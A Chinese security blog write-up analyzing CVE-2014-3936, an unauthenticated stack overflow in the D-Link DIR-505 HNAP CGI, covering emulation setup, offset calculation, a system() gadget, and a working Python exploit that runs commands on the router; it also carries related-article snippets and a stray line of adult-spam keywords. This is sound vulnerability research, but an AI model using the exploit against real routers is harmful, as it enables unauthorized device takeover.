<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    CVE-2014-3936 dir-505 數組越界緩沖區溢出

    VSole2021-12-20 17:10:13

    漏洞分析

    CVE-2014-3936 是發生在 dlink 旗下路由器 dir-505 的緩沖區溢出漏洞,漏洞存在于固件版本 1.07 及以前的 HNAP 處理程序中,漏洞發生在 HNAP 處理請求的時候,將 CONTENT_LENGTH 大小的數據直接復制到了緩沖區中,如果 CONTENT_LENGTH 大小超過了緩沖區大小,就會導致緩沖區溢出,進而實現代碼執行。總之,是一個數組越界導致緩沖區溢出的漏洞。

    此次漏洞分析采用的是 dir-505 固件版本 1.07,漏洞下載地址見參考鏈接。通過分析固件的文件系統,可以知道服務器采用的是 lighttpd 作為后端,lighttpd 也是嵌入式設備經常使用的一個小型 http server。發生漏洞的程序是 ./usr/bin/my_cgi.cgi,使用的是 fastcgi 調用過程,當收到 uri 為 HNAP1 的數據包時,會將數據包通過環境變量和標準輸入 STDIN 傳給 my_cgi.cgi 進行處理。

    漏洞發生的位置是在 main -> do_hnap 函數中,do_hnap 函數在從環境變量中讀取數據的時候,先讀取數據包長度 CONTENT_LENGTH,然后根據其大小,通過一個循環,從標準輸入中每次讀取一個字節放在函數棧上的緩沖區中。如果 CONTENT_LENGTH 過大,就會導致緩沖區溢出,實際上就是數據包的數據夠多,就會發生緩沖區溢出。IDA 中反編譯的關鍵流程如下:

    int do_hnap() {    dec_content_length = 0;  content_length = getenv("CONTENT_LENGTH");    // 從環境變量獲取 CONTENT_LENGTH  if ( content_length )    dec_content_length = strtol(content_length, 0, 10); // 將 CONTENT_LENGTH 轉化為 10 進制  ...  if ( dec_content_length > 0 )  {    loop_pointer = v12;                         // 指向 buf 的起始位置    end_of_buf = &v12[dec_content_length];      // 指向 buf 的結束位置    memset(v12, 0, sizeof(v12));                // 對 buf 清零    while ( stdin->_fileno )    {      v6 = stdin->_IO_write_base;      if ( v6 >= stdin->_IO_write_end )      {        v8 = (int (**)(FILE *))&_fgetc_unlocked;// v8 實際上是一個函數指針LABEL_21:        v7 = ((int (*)(void))v8)();             // 調用 fgetc        goto LABEL_22;      }      v7 = *v6;      stdin->_IO_write_base = v6 + 1;LABEL_22:      *loop_pointer++ = v7;                     // 將 fgetc 讀取到的字符寫入到 buf      if ( loop_pointer == end_of_buf )            // 結束從 STDIN 中讀取      {        ...      }    }    v8 = &fgetc;
    

    在 do_hnap 函數中,函數執行完畢后的返回地址在初始化堆棧的時候存放在 sp + 0x7574,緩沖區的起始地址是 sp + 0x30,那么一共需要 30020 個字節使緩沖區溢出,再額外溢出 4 個字節就可以修改保存再堆上的返回地址,最后 do_hnap 函數執行完畢將返回地址從棧中取出到 ra 寄存器然后跳轉,就可以達到劫持控制流的目的。緩沖區的起始地址可以從 IDA 直接反編譯得到。

    .text:00430DBC sw      $ra, 0x7560+var_s14($sp)    # 保存返回地址到棧上....text:00431168 lw      $ra, 0x7574($sp)    # 從棧上恢復返回地址跳轉執行....text:00431184 jr      $ra.text:00431188 addiu   $sp, 0x7578
    

    環境搭建

    后端的 server 是 lighttpd,一開始沒有在固件根目錄下面找到 html 文件,在 cq 師傅的提醒下,先分析系統的啟動腳本 ./etc/rc.d/rcS。在啟動腳本中,掛載一些設備和創建相關目錄,然后是系統初始化程序 system_manager 運行,在其中也會通過 system 函數執行一些命令。如下是系統初始化腳本。

    #!/bin/ash
    # This script runs when init it run during the boot process.# Mounts everything in the fstabmount -amount -o remount +w /
    # Mount the RAM filesystem to /tmpmount -t tmpfs tmpfs /tmp
    # 此處會覆蓋掉原來的 etc 目錄# copy all files in the mnt folder to the etc foldercp -a /mnt/* /etc
    ln -sf /etc/hotplug/hotplug /sbin/hotplug
    mkdir -p /var/etcmkdir -p /var/firmmkdir -p /var/logmkdir -p /var/miscmkdir -p /var/runmkdir -p /var/sbinmkdir -p /var/tmpmkdir -p /tmp/var
    # 系統初始化程序#/bin/echo "Init System..."system_manager &
    #/bin/echo "Start tftpd..."tftpd &
    

    將系統初始化程序 system_manager 放入 IDA 分析,在 main -> init_system -> init_web_server -> init_html_files 中可以看到是如何將原本存放在 mnt 目錄下的 html 文件解壓出來的,那我們在啟動 lighttpd 之前就可以手動執行相關的命令,將 html 文件準備好。

    int init_html_files(){  system("tar -zxf /etc/www.tgz");  system("rm -f /etc/www.tgz");  if ( !byte_416321 )    system("mv /www/ap/* /www");  system("rm -rf /www/ap");  if ( byte_416321 == 2 )    system("mv /www/rt/* /www");  system("rm -rf /www/rt");  if ( byte_416321 == 3 )    system("mv /www/rpt/* /www");  system("rm -rf /www/rpt");  if ( byte_416321 == 4 )    system("mv /www/whp/* /www");  system("rm -rf /www/whp");  system("cp -f /usr/bin/my_cgi.cgi /www");  copy_default_xml();  return read_lang_from_flash();}
    

    最后是看 system_manager 是如何啟動 lighttpd 的,可以在 IDA 中直接搜索字符串 lighttpd,定位到 init_web_server 函數中,然后分析 system 函數傳入的參數,就可以得到 lighttpd 的啟動命令 lighttpd -f /etc/lighttpd/lighttpd.conf。此處如果直接 F5 的話,分析得到的 system 傳入命令不完整。

    .text:00403C00 addiu   $a0, (aLighttpdFS - 0x400000)  # "lighttpd -f %s &".text:00403C04 addiu   $a1, (aEtcLighttpdLig_0 - 0x400000)  # "/etc/lighttpd/lighttpd.conf".text:00403C08 jr      $t9 ; _system.text:00403C0C addiu   $sp, 0x20
    

    以上是分析工作,實際上真正啟動服務器,可以先直接執行啟動腳本 ./etc/rc.d/rcS,執行完之后,./etc 目錄被原本 ./mnt 中的文件替代了,html 文件被解壓出來放在了 ./www 文件夾中。運行如下命令,就可以啟動 http 服務了。

    # 進入固件根目錄chroot . ./etc/rc.d/rcS# 再執行一遍 system_manager 這個地方會卡住 因為有些 /dev 沒有被掛載,例如 nvramchroot . ./usr/bin/system_manager# 啟動 lighttpd,-D 不進入后臺運行chroot . ./usr/bin/lighttpd -f ./etc/lighttpd/lighttpd.conf -D
    

    漏洞復現

    上述的環境搭建其實是不完善的,例如登錄操作這種需要 nvram 的根本執行不了,好在這次漏洞是一個無需認證的漏洞。我沒有找到在 lighttpd 中是怎么調用的 my_cgi.cgi,那就直接調試 cgi,通過環境變量傳入數據進行調試。

    幸運的是,可以直接使用 QEMU 進行調試這個漏洞,漏洞的觸發過程也不涉及到額外的 patch 工作。首先分析如何才能使代碼執行到 do_hnap 函數中存在漏洞的代碼處。在 main 函數中,需要設置環境變量 SCRIPT_NAME = HNAP1,使之進入 do_hnap 函數,然后設置環境變量 SOAP_ACTION != (Reboot | SetRouterLanSettings | SetWLanRadioSecurity | SetWLanRadioSettings),也就是不等于以上四者。最后設置環境變量 CONTENT_LENGTH 控制從標準輸入讀入到緩沖區的字節數目。

    觸發漏洞的調試腳本如下,補充說明一下需要將 qemu-mips-static 程序復制到固件的根目錄下,這樣 chroot 的時候才可以正確使用 qemu-mips-static 進行調試。

    # sudo ./debug_mycgi.sh#!/bin/bash
    export SCRIPT_NAME="HNAP1"export SOAP_ACTION="soap"export CONTENT_LENGTH="30028"
    STDIN=`python -c "print 'A'*30020 + 'deadbeef'"`echo "$STDIN" | chroot . ./qemu-mips-static -g 12345 ./usr/bin/my_cgi.cgi
    

    路由器上的程序安全措施通常非常簡單,沒有 NX 也沒有 PIE,此處就直接使用 ret2syscall 來達到命令執行的操作,在 IDA 中使用 mipsrop 插件搜索合適的 gadget,決定使用 0x00405C5C 處。

    .text:00405C5C la      $t9, system
    .text:00405C60 li      $s1, loc_430000
    .text:00405C64 jalr    $t9 ; system
    .text:00405C68 addiu   $a0, $sp, 0x64+var_3C  # command
    

    當劫持了控制流執行到 gadget,堆棧已經從 do_hnap 函數中恢復了平衡,通過計算,system 函數執行的命令保存在相對于 buf 30064 個字節處,總結就是:buf 寫入 30020 個字節之后可以覆蓋返回地址到 gadget 0x00405c5c,再寫入 40 個字節可以寫入 system 函數執行的命令,那么先用 python 腳本寫入一個 stdin 文件,然后在調試腳本中通過 cat 輸出文件內容,通過管道傳遞給 qemu

    # python poc.py
    cmd = b'touch test\x00'
    with open('./stdin', 'wb') as f:
        poc = 30020 * b'A' + b'\x00\x40\x5c\x5c' + 40 * b'B' + cmd
        f.write(poc)
    # sudo ./debug_mycgi.sh
    #!/bin/bash
    export SCRIPT_NAME="HNAP1"
    export SOAP_ACTION="soap"
    export CONTENT_LENGTH="30080"
    cat ./stdin | chroot . ./qemu-mips-static -g 12345 ./usr/bin/my_cgi.cgi
    

    使用 gdb-multiarch 連接上 target remote :12345,然后在 do_hnap 函數恢復返回地址到 ra 寄存器處下斷點 b *0x431168,可以看到執行完當前指令后,ra 被寫入為 gadget 地址 0x405c5c

    繼續單步調試到執行 gadget,調用 system 函數,執行的命令保存在 sp + 0x28 處。

    可以看到成功命令執行,創建了 test 文件

    漏洞利用

    如上的漏洞復現調試是針對與 my_cgi.cgi,而真實運行環境是通過 lighttpd 服務器接受用戶發送請求數據包,然后將數據通過環境變量以及 STDIN 傳遞給 my_cgi.cgi 進行處理,漏洞發生也是在這個地方,那么漏洞利用需要構造數據包向 lighttpd 傳遞。初次之外,還需要看固件支持哪些命令,例如此處的 busybox 支持的命令如下:

    BusyBox v1.01 (2013.05.23-09:13+0000) multi-call binary
    Usage: busybox [function] [arguments]...   or: [function] [arguments]...
            BusyBox is a multi-call binary that combines many common Unix        utilities into a single executable.  Most people will create a        link to busybox for each function they wish to use and BusyBox        will act like whatever it was invoked as!
    Currently defined functions:        [, arping, ash, brctl, busybox, cat, chmod, cp, cut, date, dd,        df, dirname, du, echo, egrep, fdisk, fgrep, find, free, grep,        head, hostname, ifconfig, init, insmod, kill, killall, klogd,        linuxrc, ln, logger, login, logread, ls, lsmod, md5sum, mkdir,        mount, mv, nslookup, ping, ps, reboot, rm, rmmod, route, sed,        sh, sleep, syslogd, tar, telnetd, test, tftp, touch, tr, tty,        umount, uname, vconfig, vi, wc, wget, xargs, zcip
    

    那么簡潔版的 exp 如下,執行結果是直接寫回了到返回數據包中。

    import requests
    cmd = b'ls -l\x00'
    poc = 30020 * b'A' + b'\x00\x40\x5c\x5c' + 40 * b'B' + cmd
    res = requests.post(url='http://127.0.0.1:80/HNAP1/', data=poc)
    print(res)
    

    通過 busybox 支持的命令也可以看到,有 telnetd,如果在實體機上要獲取到一個可交互的 shell,那么可以開啟設備的 telnet 服務。

    個人小結

    如下是個人覺得可以加深對于程序執行流程理解的一些點:

    do_hnap 函數中循環的控制及 MIPS 架構 s 系列寄存器的用法寄存器 s0~s7 通常是用來在子函數內部使用,如果在子函數內部還需要調用函數,那么需要將這些寄存器的值保存在棧上,執行完調用函數后進行恢復。例如 s0~s7 在 main 函數中使用,當 main 函數調用 do_hnap 的時候,在 do_hnap 函數的初始化堆棧時,將寄存器保存到了棧上。因此,我們在緩沖區溢出的時候,有時候不止可以控制 ra 寄存器,還可以控制 s 系列寄存器。

    # do_hnap 函數初始化過程.text:00430DAC li      $gp, (_GLOBAL_OFFSET_TABLE_+0x7FF0 - .).text:00430DB4 addu    $gp, $t9.text:00430DB8 addiu   $sp, -0x7578.text:00430DBC sw      $ra, 0x7560+var_s14($sp).text:00430DC0 sw      $s4, 0x7560+var_s10($sp).text:00430DC4 sw      $s3, 0x7560+var_sC($sp).text:00430DC8 sw      $s2, 0x7560+var_s8($sp).text:00430DCC sw      $s1, 0x7560+var_s4($sp).text:00430DD0 sw      $s0, 0x7560+var_s0($sp)...# do_hnap 函數執行完畢 .text:00431168 lw      $ra, 0x7574($sp).text:0043116C move    $v0, $s0.text:00431170 lw      $s4, 0x7570($sp).text:00431174 lw      $s3, 0x756C($sp).text:00431178 lw      $s2, 0x7568($sp).text:0043117C lw      $s1, 0x7564($sp).text:00431180 lw      $s0, 0x7560($sp).text:00431184 jr      $ra.text:00431188 addiu   $sp, 0x7578
    

    那么現在回歸正題,do_hnap 函數是使用的 s0 指向 buf 的起始地址,s1 指向 buf 的結束位置,s3 指向標準輸入的起始地址。循環的結構使用 IDA 的控制流圖看的話,就非常簡介明了。s0 先指向 buf 起始地址,每次調用 fgetc 讀取一個字符保存到 s0,然后 s0 自加指向下一個位置,直到 s0 指向結束地址。

    .text:00430F9C la      $s3, stdin       # 標準輸入存儲在 s3 寄存器.text:00430FA0 move    $s0, $a0            # s0:指針指向 buf 的起始位置.text:00430FA4 addu    $s1, $a0, $s1    # s1:指針指向 buf 的結束位置....text:00431010 sb      $v0, 0($s0)        # 將從 fgetc 讀取到的字符存儲到緩沖區.text:00431014 addiu   $s0, 1           # s0 移動到緩沖區下一個位置.text:00431018 bne     $s0, $s1, loc_430FB4    # 比較進行跳轉
    

    關于 server 的啟動命令分析可以分析固件文件系統的初始化啟動腳本,通常在 /etc/rc* 文件或者目錄下,就可以得到設備啟動時執行了哪些初始化工作,例如掛載設備、創建文件等等。此處還有解壓 html 文件,應該為了節省設備的存儲空間,第一次啟動的時候進行解壓。

    關于漏洞利用執行結果回顯如果設備固件中帶有一些可以進行交互的程序例如 sshd、telnetd 等服務,那么命令執行可以通過這些程序直接獲取到一個可交互的 shell,如果沒有,可以考慮把執行結果寫回到設備的 www 目錄中的文件,通過 http 服務訪問命令執行結果。

    system緩沖區溢出
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    CVE-2019-10999 是 Dlink IP 攝像頭的后端服務器程序 alphapd 中的一個緩沖區溢出漏洞,漏洞允許經過身份認證的用戶在請求 wireless.htm 時,傳入 WEPEncryption 參數一個長字符串來執行任意代碼。
    總之,是一個數組越界導致緩沖區溢出的漏洞。
    關于MIPS架構的寄存器及指令集請自行查閱資料,這里就不多作介紹了。,則也會在prologue處保存下來,并在epilogue處取出。流水線指令集相關特性MIPS架構存在“流水線效應”,簡單來說,就是本應該順序執行的幾條命令卻同時執行了,其還存在緩存不一致性(cache
    ASLR程序加載到內存后不使用默認的加載地址,將加載基址進行隨機化,依賴重定位表進行地址修復。地址隨機化之后,shellcode中固定的地址值將失效。圖-程序地址未隨機化處理開啟/關閉軟件地址隨機化。每個頁目錄表和頁表項都存在 基址與屬性控制位,通過修改這些控制位,達到當前內存是否有執行、讀、寫等權限。圖-表項構成windows 系統上可以調用 VirtualProtect 函數完成內存屬性的修改操作。DWORD flNewProtect, // 請求的保護方式。大小超過 8 個字節且不包含指針的數據結構。
    該漏洞是CGI腳本在處理authentication.cgi請求,來讀取POST參數中的"password"參數的值時造成的緩沖區溢出
    在2019年東京Pwn2Own大會上,無線路由器引入為一個新種類:NETGEAR Nighthawk R6700v3。但該路由存在一些安全隱患,其中包括一個堆溢出漏洞,該漏洞可能允許惡意第三方從局域網控制設備。在這篇文章中,我們將詳細討...
    建議配置盡量精確的IPS配置文件,挑選反應實際網絡狀況的簽名進行防御。例外簽名是IPS調整的關鍵手段。IPS不清楚真實的業務意圖,將需要正常使用的業務認定為攻擊。例如網絡中運行漏洞掃描軟件用于安全加固,IPS會將掃描行為認為是攻擊,但實際上是要正常使用的。IPS調整的一大主要工作就是處理誤報。管理員需要持續分析IPS日志中的警告信息,對確認是誤報的警告,配置例外規則。將攻擊源加入黑名單。
    本靶機難度為高難度,涉及到了緩沖區溢出的源碼審計 ,逆向分析,動態調試等漏洞技能點,攻擊方法有2種:??SQL 注入得到的密碼可以保留。
    聯想上周五發布了針對其 ThinkPad 系列產品和 System x 服務器產品的兩個補丁。其中一個漏洞與安全啟動過程中的身份驗證缺陷有關;另一個漏洞則是任意代碼執行漏洞。 第一個高危的安全啟動漏洞(CVE-2017-3775)是聯想內部測試團隊發現的,受影響的有近十幾個供企業使用的聯想系統,包括 System x、Flex System 和一臺高密度 NeXtScale nx360 M5 型服
    近期,啟明星辰ADLab在工業控制系統漏洞監測中發現Schneider發布了交互式圖形SCADA系統(Interactive Graphical SCADA System,簡稱IGSS)的高危漏洞公告和補丁,包括有緩沖區溢出和目錄穿越等,NVD的評分高達9.8。ADLab研究員第一時間對其中的高危漏洞進行了詳細分析和實際驗證,同時還發現了一個新的高危漏洞并協助廠商進行了修復。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类